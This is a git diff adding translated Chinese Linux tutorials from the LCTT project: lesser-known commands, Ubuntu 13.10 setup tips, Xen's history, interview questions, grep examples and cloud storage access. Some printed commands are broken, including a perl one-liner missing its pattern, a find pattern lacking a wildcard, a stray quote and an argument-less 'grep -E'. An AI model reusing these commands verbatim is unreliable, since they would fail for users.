+在**命令行**下如何检查你的**未读邮件**?这个命令对于工作在没有图形界面的服务器的人佷有用。它会在运行期间再次要求输入密码,你不需要在上面一行硬编码你的密码,否则会有其它安全风险。 + + avi@localhost:~$ curl -u avishek1210@gmail.com --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print \t if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;' + +**输出样式** + + Enter host password for user 'avishek1210@gmail.com': + Gmail - Inbox for avishek1210@gmail.com + People offering cars in Delhi - Oct 26 + Quikr Alerts + another dependency question + Chris Bannister + Ralf Mardorf + Reco + Brian + François Patte + Curt + Siard + berenger.morel + Hi Avishek - Download your Free MBA Brochure Now... + Diya + ★Top Best Sellers Of The Week, Take Your Pick★ + Timesdeal + aptitude misconfigure? + Glenn English + Choosing Debian version or derivative to run Wine when resource poor + Chris Bannister + Zenaan Harkness + Curt + Tom H + Richard Owlett + Ralf Mardorf + Rob Owens + +### 19.screen 命令 ### + +**screen**命令能断开一个会话下的一个长时间运行的进程并能再次连接,如有需要,也提供了灵活的命令选项 + +要运行一个长时间的进程,我们通常执行 + + avi@localhost:~$ ./long-unix-script.sh + +缺乏灵活性,需要用户持续当前的会话,但是如果我们执行上面的命令是: + + avi@localhost:~$ screen ./long-unix-script.sh + +它能在不同会话间断开或重连。当一个命令正在执行时按“**Ctrl + A**”然后再按“**d**”来**断开**。 + +重新连接运行: + + avi@localhost:~$ screen -r 4980.pts-0.localhost + +**注解**:在这里,这个命令的稍后的部分是**screen id**,你能用‘**screen -ls**’命令查看。欲了解更多关于**screen命令**和它们的用法,请阅读我们的一些帮助文章:[10 个screen命令的示例][4]。 + +### 20. file ### + +No!写上面的命令不是笔误. ‘**file**’是一个能提供关于文件类型信息的命令。 + + avi@localhost:~$ file 34.odt + 34.odt: OpenDocument Text + +### 21. id ### + +上面的命令会打印真正的和有效的**用户**和**组**的id。 + + avi@localhost:~$ id + +**输出样式** + + uid=1000(avi) gid=1000(avi) + groups=1000(avi),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),117(scanner) + +到此为止,鉴于这个系列的最新的这篇文章的成功,我将会尽快推出另外几部分文章继续**鲜为人知的Linux命令**。到时候,敬请关注Tecmint.不要忘记给我们提供你的**反馈**和**评论**。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-linux-commands-part-2/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2258-1.html +[2]:http://www.searchsv.com.cn/showcontent_77595.htm +[3]:http://www.tecmint.com/history-command-examples/ +[4]:http://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ +[5]:http://www.oschina.net/translate/11-lesser-known-useful-linux-commands diff --git a/published/201311/10 Things To Do After Installing Ubuntu 13.10.md b/published/201311/10 Things To Do After Installing Ubuntu 13.10.md new file mode 100644 index 0000000000..c56f77b93b --- /dev/null +++ b/published/201311/10 Things To Do After Installing Ubuntu 13.10.md @@ -0,0 +1,127 @@ +安装Ubuntu13.10后必做的10件事 +================================================================================ +**Ubuntu 13.10发布了,而且你已经升级了,然后你想知道现在要做些什么。不要着急,这里有10件安装完Ubuntu 13.10后必做的事。** + +我们以前为ubuntu每个版本整理了一个安装后核对表,但是因为新功能的到来以及不断的进步,我们建议的步骤也在不断改变和转换。 + +因此,升级到ubuntu 13.10后最好做哪些事情呢? + +### 1. 加快速度 ### + +尽管Ubuntu 13.10相较于之前的发布版包含了较少的面向用户的特征,但是新的Smart scopes服务还是不可错过的。 +### 2. 使用第三方驱动 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/drivers.jpg) + +Ubuntu本身已经支持了大量的硬件。但是虽然免费而又开源的的驱动能力越来越强,在Steam 或 Steam HD video 上玩儿游戏仍会感觉性能差强人意。 + +如果是这样,可以 **安装并使用专有驱动** ,它们在Software & Updates (软件和更新)工具中。 + +在启动器里打开*软件源应用* (或者通过系统设置)然后点击进入“其他驱动”选项卡,然后按照屏幕上的提示操作。 + +### 3. 安装Ubuntu的影音解码器 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/mus.jpg) + +由于一个很大的法律问题的纠缠,Ubuntu不能即刻支持很多流行的音频视频格式。这是一项很大的先天缺陷。 + +但是安装这些支持所需要的仅仅只是几下点击。在安装过程中只需勾选*使用限制格式* 框来导入需要的解码器,或者,如果你忘了的话,也可以从Ubuntu软件中心安装所有的多媒体相关工具。 + +- [安装第三方解码器][1] + +### 4.建立你的社会生活### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/account-toggles.jpg) + +Facebook, Twitter, Google Talk, Gmail以及其他的社交账号可以在*在线账号* 里一起设置。 + +只需要添加一个网络然后**决定哪些程序可以使用它**。例如,关掉Empathy,默认启动Google Chat,从Social Lens里过滤FaceBook。 + +支持的服务包括Twitter, Google, Yahoo!, Facebook (包括 Facebook Chat), Flickr 以及正在增长的大量其他的应用。 + +### 5. 添加第三方应用 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/apps.jpg) + +Ubuntu默认提供了一整套的应用,但是众口难调,如果你不喜欢某个应用,或者发现自己缺少了什么应用,你可以很轻松的找到并添加软件。 + +打开Ubuntu软件中心,可以看到成千上万的程序,包括下面这些很流行的选择: + +- **Dropbox** - 流行,跨平台的云存储服务 +- **Steam** – 游戏发布平台 +- **GIMP** – 强大的图像处理软件 +- **VLC** – 流行的影音软件 + +您还可以找到像我们这样列出了丰富的附加软件的网站 - 看看我们的*Apps*标签你会有一些想法。 + +- [在OMG上查看Ubuntu App 列表! !][2] + + +### 6.保护你的隐私 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/priv.jpg) + +最近隐私问题是一个烫手山芋,因此很高兴看到最新版的Ubuntu改进了它的隐私设置,提供了一个新的界面和大量的新选择。 + +不论你是想在启动器上隐藏一个文件还是一个应用,限制从睡眠状态到进入电脑时的访问,或者选择什么样的系统崩溃向Canonical发送信息,在“隐私和安全”面板总是可以提供你想要的工具。 + +### 7.享受互联网 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/gmails.jpg) + +Canonical宣称在Ubuntu Touch 上,网站可以很容易的打包、整合并用于安装, 以吸引web开发人员。 + +该方式已经包含在桌面 Ubuntu 一些版本中。超过300个流行网站-包括Gmail, Yahoo! 和Rd.io-可以和桌面无缝集成。 + +例如,添加 GMail, 您可以在启动器和消息菜单上获得喜爱的Gmail选项; 启用Rd.io,您可以使用“声音”(Sound) 菜单控制回放。 + + +### 8. 设置自己的Unity Yours ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/unity_tweak_tool_310.png) + +Unity比人们想的定制性更好。 *Unity Tweak Tool* 是一个第三方应用,可以让您调整桌面Unity以打造一个适合您的环境。 + +选择包括: + +- 调整启动器透明度 +- 设置启动器图标动画 +- 启动工作台 +- 设置快捷键 +- 移动窗口的控制 + +但是,不要期望太大,它不会让你移动启动器的。 + +- [从Ubuntu软件中心安装Unity Tweak Tool][3] + +### 9. 过滤噪音 ### + +Ubuntu’s新的‘Smart Scopes’服务号称要做成一个很方便的工具,但是现在还不像声称的那样智能。 + +好消息是这个特性只需一击就可以关闭,所以没有必要因噎废食顺带着排斥Ubuntu。 + +如果你每次搜索时还顺带了一堆毫不相关的不知名的音乐结果或者购物建议,你可以单独禁用该范围。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-15-at-11.36.26-750x480.png) + +如果你发现自己每一个搜索都被无关的音乐结果淹没了,可以禁用“音乐范围”。不想要亚马逊的建议?关掉它。 + +### 10. 传播关于Ubuntu13.10的信息 ### + +我知道,在我们的“应当去做”列表上这是比较尴尬的一项。但是只有人们知道Ubuntu 13.10才会去尝试它,因此请出一份力量,多多分享关于它的新闻。 + +无论你是把这篇文章贴到Facebook上,还是为你的OS X粉搭档制作了一个LiveUSB,对于Ubuntu的认知度的提高都是很有帮助的。 + +别忘了享受使用它。去检查下Facebook上的简介,听一些音乐,享受一下用Firefox上网。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/10-things-installing-ubuntu-13-10 + +译者:[crowner](https://github.com/译者ID) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://apps.ubuntu.com/cat/applications/ubuntu-restricted-extras/ +[2]:http://www.omgubuntu.co.uk/category/app +[3]:apt:unity-tweak-tool diff --git a/published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md b/published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md new file mode 100644 index 0000000000..1917e64f82 --- /dev/null +++ b/published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md @@ -0,0 +1,50 @@ +Xen的十年:从恐龙进化到鸟类 +================================================================================ +Xen Hypervisor 项目原来是上世纪90年代末[剑桥大学][1] [Xenoserver][2] 项目的子项目。Xenoserver 有一个宏大的目标: + +这个宏大目标就是建立一个大规模的分布式计算系统的公共基础框架。想像一下,当 Xenoserver 执行平台布署在全世界范围内,所有人都可以共享可执行代码,代码贡献者可以按代码被执行时产生的硬件消耗收取一定的费用。这将会鼓励负载均衡、消除单点瓶颈,甚至可以在这个平台上实现营利。 + +在今天,这种模式被称为“云计算”。而 Xen Hypervisor (确切来说是现在的 Xen Hypervisor)是最大的云平台。不仅亚马逊 Web 服务(AWS)和 Rackspace 公有云是基于 Xen 的,就连最近的大规模云平台[Verizon公有云][3]也将 Xen 作为他们的服务供应基础。 + +### 10周岁生日快乐 ### + +2003年10月21日,Xen Hypervisor 在[第19届 ACM 计算机原理研讨会][4]上作为一个开源项目首次出现在大众眼前。距今已经10年,在这里祝 Xen 项目生日快乐! + +### 业界第一的劣势:像恐龙一样,不适者淘汰 ### + +有时候在自己领域内成为第一个开源项目是一个劣势,为什么这样说?缺少与同行的交流会导致项目失去控制。简单的例子是,缺乏竞争会引发自满情绪,而这种情况已经在 Xen 项目内部发生了!开始几年 Xen 项目未受到任何约束,变得狭隘,不再寻求突破,致使用户和开发者不再对它感兴趣。当它的第一个竞争对手 KVM 出现并壮大,Xen 社区甚至对此反应迟缓。 + +这种反应带来的后果是,用户难以加入这个项目,并且这个项目不能很好地与 Linux 内核、QEMU及 Linux 发布版共处。然后,Xen 社区名声变坏。然后,Canonical 和 RedHat 抛弃 Xen,投向 KVM 怀抱。Xen 项目向这个不断改变的世界宣告了自己的失败。名声不断变臭,到后来它被视为开源社区界的恐龙,被彻底淘汰只是时间问题。 + +### 快速转型:从恐龙进化到鸟类 ### + +像 Xen 一样能够从众多错误中回过神来的开源项目并不多,而 Xen 通过一系列措施做到了这一点。提出有效的管理方法、努力与其他开源项目合作、重启市场营销力量、踏踏实实与用户和开发者一起工作,这些努力终于让 Xen 获得新生。换句话说,Xen 已经完成从恐龙到鸟类的进化。如果你想知道我们是如何做到这点的,何不加入到我的 Linux 大会欧洲站的课题[Xen 项目:收获的教训][5]?其他你可能感兴趣的课题还有[加强你的 Xen 云的安全][6]和[Xen:专为云设计的开源虚拟机管理程序][7]。 + +![](http://www.linux.com/images/stories/41373/Xen-flying-Panda.jpg) + +*展翅高飞(或者说,给 Xen 这只行动缓慢的熊猫插上翅膀)* + +### 展望未来:虚拟化技术的新领域 ### + +如果你正在搜索 Xen 项目,你会发现它的社区形式多样并且还在发展。从很多方面来说,它甚至比从前巅峰时期发展得更好。 + +现在 Xen 社区正在发生一些有意思的事情,一些 Xen 项目下的软件被用于非传统虚拟化技术。这也相应地为 Linux 社区增加了企业用户。在本周晚些时候开始的[Xen 项目开发者峰会][8]中我们将会见到两个安卓虚拟机如何运行在基于 Xen 的 Nexus 10 中,也会见到首次将 Xen 用于车载信息娱乐系统以及汽车应用系统中,同时我们还能见到 Xen 如何为诸如防火墙和NAT服务器这些中间体提供高性能应用。 + +当然,服务器虚拟化和云计算还有很长的路要走。展翅高飞吧(或者说,给 Xen 这只行动缓慢的熊猫插上翅膀)。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/enterprise/cloud-computing/743330-10-years-of-xen-transforming-a-dinosaur-into-a-bird/ + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cl.cam.ac.uk/research/srg/netos/xen/index.html +[2]:http://www.cl.cam.ac.uk/research/srg/netos/xeno/ +[3]:http://www.techweekeurope.co.uk/news/verizon-public-cloud-launch-128724 +[4]:http://www.cs.rochester.edu/meetings/sosp2003/papers.shtml +[5]:http://linuxconcloudopeneu2013.sched.org/event/68003c370760bcc2da7e3e8b59b6b50f +[6]:http://linuxconcloudopeneu2013.sched.org/event/37ecfe02561cf264a02061d1927da26c +[7]:http://linuxconcloudopeneu2013.sched.org/event/bdca1274d9799646cdf2934dbde94ccd +[8]:http://www.linux.com/news/software/applications/742053-a-great-line-up-of-speakers-at-xen-project-developer-summit diff --git a/published/201311/11 Basic Linux Interview Questions and Answers.md b/published/201311/11 Basic Linux Interview Questions and Answers.md new file mode 100644 index 0000000000..4f60cf61ef --- /dev/null +++ b/published/201311/11 Basic Linux Interview Questions and Answers.md @@ -0,0 +1,89 @@ +11个Linux基础面试问题 +================================================================================ + +### Q.1: Linux 操作系统的核心是什么? ### +- Shell +- Kernel +- Command +- Script +- Terminal + +> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器,命令(Command)是针对计算机的指令,脚本(Script)是存储在文件中的命令的集合,终端(Termial)是命令行接口。 + +### Q.2: Linus Torvalds 都创建过什么东东? ### +- Fedora +- Slackware +- Debian +- Gentoo +- Linux + +> **答**: Linux Torvalds 创建了Linux,Linux是所有上述操作系统的核心,同样也是其他一些Linux 操作系统的核心。 + +### Q.3: Torvalds,使用C++语言编写了Linux内核的大部分代码,是这样吗? ### + +> **答**: 不! Linux内核包含了12,020,528行代码,其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。 + +剩下的1,972,615行则是使用C++,汇编,Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。 + +**注**:代码行数每天都在变动,平均每天超过3,509行代码添加到内核。 + +### Q.4: 起初,Linux 是为 Intel X86 架构编写的,但是后来比其他操作系统移植的硬件平台都多,是这样吗 ? ### + +> **答**: 是的,我同意。Linux那时候是为x86机器写的,而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着,远程遥控,太空科学,研究,Web,桌面计算等等,举之不尽。 + +### Q.5: 编辑 Linux 内核合法吗? ### + +> **答**: 是的,内核基于GPL发布,任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件(FOSS)。 + +### Q.6: UNIX和Linux操作系统,本质上的不同在哪里?### + +> **答**: Linux操作系统属于免费开源软件,内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件(FOSS)无关,BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 Apple,IBM,Oracle,HP等,都在为UNIX内核贡献代码。 + +### Q. 7: 挑出来一个与众不同的来. ### +- HP-UX +- AIX +- OSX +- Slackware +- Solaris + +> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的,并且都是UNIX的变种. Slackware 则是一个Linux操作系统. + +### Q.8: Linux 不会感染病毒吗? ### + +> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称,是的,甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个,而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。 + +### Q.9: Linux 属于哪种类型的操作系统? ### +- 多用户 +- 多任务 +- 多线程 +- 以上所有 +- 以上都不是 + +> **答** : 以上所有。Linux是一个支持多用户,可以同时运行多个进程执行多个任务的操作系统。 + +### Q.10: 一般的 Linux 命令的语法格式是: ### +- command [选项] [参数] +- command 选项 [参数] +- command [选项] [参数] +- command 选项 参数 + +> **答** : Linux 命令的正确语法是, Command [选项] [参数]。 + +### Q.11: 挑出来一个与众不同的来. ### + +- Vi +- vim +- cd +- nano + +> **答** : cd 与其他命令不同。Vi,vim和 nano都是编辑器,用于编辑文档,而cd是用于切换目录的命令。 + +就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,锁定链接,记得来**Tecmint**哦。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/ + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/12 Practical Examples of Linux grep Command.md b/published/201311/12 Practical Examples of Linux grep Command.md new file mode 100644 index 0000000000..1f4a6a5f3b --- /dev/null +++ b/published/201311/12 Practical Examples of Linux grep Command.md @@ -0,0 +1,118 @@ +Linux中grep命令的12个实践例子 +=== +你是否遇到过需要在文件中查找一个特定的字符串或者样式,但是不知道从哪儿开始?那么,就请**grep**来帮你吧。 + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Grep-Command-Examples.png) + +**grep**是每个**Linux**发行版都预装的一个强有力的文件模式搜索工具。无论何种原因,如果你的系统没有预装它的话,你可以很容易的通过系统的包管理器来安装它(**Debian/Ubuntu**系中的**apt-get**和**RHEl/CentOS/Fedora**系中的**yum**)。 + + $ sudo apt-get install grep #Debian/Ubuntu + + $ sudo yum install grep #RHEL/CentOS/Fedora + +我发现使用现实世界中的真实例子让你投身其中是让你接触**grep**命令的最容易方式。 + +###1.搜索和寻找文件 + +假设你已经在你的电脑上安装了一个全新的**Ubuntu**,然后你打算卸载**Python**。你浏览网页寻找教程,但是你发现存在两个不同版本的**Python**在使用,而你不知道你的**Ubuntu**安装器到底在你的系统中安装了哪个版本的Python,也不知道它安装了哪些模块。解决这个烦恼只需简单的运行以下命令: + + $ sudo dpkg -l | grep -i python + +####输出例子 + ii python2.7 2.7.3-0ubuntu3.4 Interactive high-level object-oriented language (version 2.7) + ii python2.7-minimal 2.7.3-0ubuntu3.4 Minimal subset of the Python language (version 2.7) + ii python-openssl 0.12-1ubuntu2.1 Python wrapper around the OpenSSL library + ii python-pam 0.4.2-12.2ubuntu4 A Python interface to the PAM library + +首先,我们运行**dpkg -l**列出你系统上安装的**.deb**包。接着,我们使用管道将输出结果传输给命令**grep -i** python,这一步可以简单解释为把结果传输给grep然后过滤出所有含有python的项,并返回结果。–i选项用于忽略大小写,因为 grep 是大小写敏感的。使用选项**-i**是个好习惯,除非你打算进行更细节的搜索。 + +###2.搜索和过滤文件 + +grep还可以在一个或多个文件里用于搜索和过滤。让我们来看一个这样的情景: + +你的**Apache网页服务器**出现了问题,你不得不从许多专业网站里找一个发帖询问。好心回复你的人让你粘贴上来你的**/etc/apache2/sites-available/default-ssl**文件内容。假如你能移除掉所有的注释行,那么对你,对帮你的人,以及所有阅读该文件的人,不是更容易发现问题吗?你当然可以很容易的做到!只需这样做就可以了: + + $ sudo grep -v "#" /etc/apache2/sites-available/default-ssl + +选项**-v**是告诉**grep**命令反转它的输出结果,意思就是不输出匹配的项,做相反的事,打印出所有不匹配的项。这个例子中,有**#**的是注释行(译注:其实这个命令并不准确,包含“#”的行不全是注释行。关于如何精确匹配注释行,可以了解更多的关于正则表达式的内容。)。 + +###3.找出所有的mp3文件 + +**grep**命令对于过滤来自于**标准输出**的结果非常有用。例如,假设你的一个文件夹里面全是各种格式的音乐文件。你要找出艺术家**jayZ**的所有**mp3**格式的音乐文件,里面也不要有任何混合音轨。使用**find命令**再结合管道使用**grep**就可以完成这个魔法: + + $ sudo find . -name ".mp3" | grep -i JayZ | grep -vi "remix"" + +在这个例子中,我们使用find命令打印出所有以**.mp3**为后缀名的文件,接着将其使用管道传递给**grep -i**过滤和打印出名字为“**JayZ**”的文件,再使用管道传送给**grep -vi**以便过滤掉含有“**remix**”的项。 + +- [35个Linux中find命令的实践例子][1] + +###4.在搜索字符串前面或者后面显示行号 + +另外两个选项是-A和-B之间的切换,是用以显示匹配的行以及行号,分别控制在字符串前或字符串后显示的行数。Man页给出了更加详细的解释,我发现一个记忆的小窍门:-A=after、-B=before。 + + $ sudo ifconfig | grep -A 4 etho + $ sudo ifconfig | grep -B 2 UP + +###5.在匹配字符串周围打印出行号 + +grep命令的**-C**选项和例4中的很相似,不过打印的并不是在匹配字符串的前面或后面的行,而是打印出两个方向都匹配的行(译注:同上面的记忆窍门一样:-C=center,以此为中心): + $ sudo ifconfig | grep -C 2 lo + +###6.计算匹配项的数目 + +这个功能类似于将**grep**输出的结果用管道传送给计数器(**wc**程序),grep内建的选项可以达到同样的目的: + + $ sudo ifconfig | grep -c inet6 + +###7.按给定字符串搜索文件中匹配的行号 + +当你在编译出错时需要调试时,**grep**命令的**-n**选项是个非常有用的功能。它能告诉你所搜索的内容在文件的哪一行: + + $ sudo grep -n "main" setup.py + +###8.在所有目录里递归的搜索 + +假若你要在当前文件夹里搜索一个字符串,而当前文件夹里又有很多子目录,你可以指定一个**-r**选项以便于递归的搜索: + $ sudo grep -r "function" * + +###9.进行精确匹配搜索 + +传递**-w**选项给grep命令可以在字符串中进行精确匹配搜索(译注:包含要搜索的单词,而不是通配)。例如,像下面这样输入: + + $ sudo ifconfig | grep -w “RUNNING” + +将打印出含有引号内匹配项的行。另外,你还可以试一下这个: + + $ sudo ifconfig | grep -w “RUN” + +搜索这个匹配项时,若搜索的东西里面没有这样的一个单独的单词,将什么也不会返回。 + +###10.在Gzip压缩文件中搜索 + +我们还要关注一下grep的衍生应用。第一个是**zgrep**,这个与**zcat**很相似,可以用于**gzip**压缩过的文件。它有与**grep**相似的命令选项,使用方式也一样: + + $ sudo zgrep -i error /var/log/syslog.2.gz + +###11.在文件中匹配正则表达式 + +**egrep**是另一个衍生应用,代表着“**扩展全局正则表达式**”。它可以识别更多的正则表达式元字符,例如**at + ?** | 和**()**。在搜索源代码文件时,egrep是一个非常有用的工具,还有其他的一些零碎代码文件的搜索需要,使得这样的搜索能力成为必需。可以在grep命令中使用选项**-E**来启用它。 + + $ sudo grep -E + +###12.搜索一个固定匹配字符串 + +**fgrep**用于在一个文件或文件列表中搜索固定样式的字符串。功能与**grep -F**同。**fgrep**的一个通常用法为传递一个含有样式的文件给它: + + $ sudo fgrep -f file_full_of_patterns.txt file_to_search.txt + +这仅仅是**grep**命令的开始,你可能已经注意到,它对于实现各种各样的需求简直是太有用了。除了这种我们运行的这种只有一行的命令,**grep**还可以写成**cron**任务或者自动的**shell脚本**去执行。保持好奇心,试验一下**man页**的各个选项,为实现你的目的写出一些**grep表达式**吧。 + +--- + +via: http://www.tecmint.com/12-practical-examples-of-linux-grep-command/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/35-practical-examples-of-linux-find-command/ diff --git a/published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md b/published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md new file mode 100644 index 0000000000..8972c25a3d --- /dev/null +++ b/published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md @@ -0,0 +1,68 @@ +在Linux中连接和使用云存储的三种途径 +=== +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux-cloud-840x420.jpg) +个人云存储现在变得非常有用,因为你再也不用担心你把东西存储在什么地方了:你能很容易的获取你的文件,并时刻保持文件更新。在Linux上你也多种保持访问你的云存储。这一点非常棒,因为你可以使用你最喜欢的方式,哪怕你是个终端控。 + +###使用官方客户端 + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_ubuntu_one.jpg) + +使用这种方式的明显好处就是你可以通过使用他们各自的官方应用访问你的各种云存储。目前,提供官方Linux客户端的服务提供商有[SpiderOak][1], [Dropbox][2], [Ubuntu One][3],[Copy][5]。[Ubuntu One][3]虽不出名但的确是[一个不错的云存储竞争着][4]。[Copy][5]则提供比Dropbox更多的空间,是[Dropbox的替代选择之一][6]。使用这些官方Linux客户端可以保持你的电脑与他们的服务器之间的通信,还可以让你进行属性设置,如选择性同步。 + +对于普通桌面用户,使用官方客户端是最好的选择,因为官方客户端可以提供最多的功能和最好的兼容性。使用它们也很简单,只需要下载他们对应你的发行版的软件包,然后安装安装完后在运行一下就Ok了。安装客户端时,它一般会指导你完成这些简单的过程。 + +###Dropbox:可以使用命令行脚本 + +假如你是Dropbox用户,你也可以通过终端命令行访问你的云存储。这种方式尤其适合于重度终端控,因为他们可以利用Dropbox提供的命令来写个脚本以便于执行自动任务。你可以运行以下命令来安装它(对于Debian,Ubuntu或者她们的衍生版 - 其它发行版可以使用相应的等价命令代替): + + sudo apt-get install curl + curl "https://raw.github.com/andreafabrizi/Dropbox-Uploader/master/dropbox_uploader.sh" -o /tmp/dropbox_uploader.sh + sudo install /tmp/dropbox_uploader.sh /usr/local/bin/dropbox_uploader + dropbox_uploader + + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_terminal_dropbox.jpg) + +当你运行最后一条命令后,脚本会提醒你这是你第一次运行这个脚本。它将告诉你去浏览一个Dropbox的特定网页以便访问你的账户。它还会告诉你所有你需要放入网站的信息,这是为了让Dropbox给你App Key和App Secret以及赋予这个脚本你给予的访问权限。现在脚本就拥有了访问你账户的合法授权了。 + +这些一旦完成,你就可以这个脚本执行各种任务了,例如上传、下载、删除、移动、复制、创建文件夹、查看文件、共享文件、查看文件信息和取消共享。对于全部的语法解释,你可以查看一下[这个页面][9]。 + +###通过[Storage Made Easy][7]将SkyDrive带到Linux上 + +微软并没有提供SkyDrive的官方Linux客户端,这一点也不令人惊讶。但是你并不意味着你不能在Linux上访问SkyDrive,记住:SkyDrive的web版本是可用的。 + +但是假如你要把你的多个云存储合并在一起,或者你想有一个比较方便的方式在Linux上访问你的SkyDrive账户,你可以试试Storage Made Easy。这个第三方服务可以将它自己提供的云存储服务以及和多大三个其它的云存储服务整合在一起。更好的一点是:它提供官方Linux客户端,而且SkyDrive也是它支持的扩展云存储服务之一! + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_configure_skydrive.jpg) + +为了使用Stroage Made Easy,你首先需要创建一个他们的账号。完成账号创建后,你需要回到控制界面,选择“Add a Cloud Provider”。在这儿,你可以选择SkyDrive API 然后填入登录信息。添加完登录信息后,点击授权按钮以便给予必要的授权。然后,你就可以下载它的Linux客户端并安装它了。 + +![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_storagemadeeasy.jpg) + +第一次启动时。它会要求你登录,还有询问你要把云存储挂载到什么地方。在你做完了这些后,你就可以浏览你选择的文件夹,你还可以访问你的Storage Made Easy空间以及你的SkyDrive空间了!这种方法对于那些想在Linux上使用SkyDrive的人来说非常好,对于想把他们的多个云存储服务整合到一个地方的人来说也很不错。这种方法的缺点是你无法使用他们各自官方客户端中可以使用的特殊功能。 + +因为现在在你的Linux桌面上也可以使用SkyDrive,接下来你可能需要阅读一下我写的[SkyDrive与Google Drive的比较][8]以便于知道究竟哪种更适合于你。 + +###结论 + +正如你所见,本文提供了多种方式访问你的个人云存储。当然,假如你觉得你当前使用的就是最适合于你的,那么你无须更换。然而,举个例子,假如你是一个终端控,要去寻找可以在终端中与你的Dropbox账户进行交互的方式,你就可以按照本文提供的方法去做!美妙之处就在于你可以选择最适于你的方式。同时,你要保持你的思想开放,本文在这儿展示的工具和例子,在将来也许会有针对其它云存储服务的其它工具出现,让你可以更加自由灵活的使用。 + +你最喜欢哪种方式来访问你的云存储呢?哪种是你最理想的形式呢?请在评论栏里留言,让我们知道你的想法! + +--- + +via: http://www.makeuseof.com/tag/3-ways-to-access-and-use-cloud-storage-skydrive-etc-in-linux/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://spideroak.com/opendownload/ +[2]:https://www.dropbox.com/install?os=lnx +[3]:http://one.ubuntu.com/ +[4]:http://www.makeuseof.com/tag/ubuntu-unknown-worthy-contender-cloud-storage/ +[5]:http://www.copy.com/ +[6]:http://www.makeuseof.com/tag/copy-a-dropbox-alternative-with-more-storage-mac-linux-windows-ios-android/ +[7]:http://storagemadeeasy.com/ +[8]:http://www.makeuseof.com/tag/skydrive-vs-google-drive-which-is-best-for-office-productivity/ +[9]:https://github.com/andreafabrizi/Dropbox-Uploader diff --git a/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md b/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md new file mode 100644 index 0000000000..7d0a7cced8 --- /dev/null +++ b/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md @@ -0,0 +1,116 @@ +九个uname命令获取Linux系统详情的实例 +================================================================================ + +当你在控制台模式下,无法通过“鼠标右键 > 